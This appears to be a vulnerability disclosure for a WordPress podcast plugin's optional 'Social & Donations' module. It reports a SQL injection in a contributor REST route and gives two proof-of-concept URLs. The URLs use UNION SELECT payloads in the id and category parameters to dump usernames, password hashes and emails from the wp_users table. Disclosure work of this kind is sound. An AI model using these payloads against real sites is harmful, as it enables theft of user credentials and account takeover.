The plugin contains a ‘Social & Donations’ module (not activated by default), which adds the rest route '/services/contributor/(?P[\d]+), takes an ‘id’ and ‘category’ parameters as arguments. Both parameters can be used for the SQLi.
With the 'Social & Donations' module of the plugin activated.
Permalink Setting: Plain
PoC with payload in id param:
/index.php?rest_route=/podlove/v1/social/services/contributor/1&id=1+UNION+SELECT+user_login,user_pass,user_email,null,null,null+FROM+wp_users%23
PoC with payload in category param:
/index.php?rest_route=/podlove/v1/social/services/contributor/1&category=1')+UNION+SELECT+user_login,user_pass,user_email,null,null,null+FROM+wp_users%23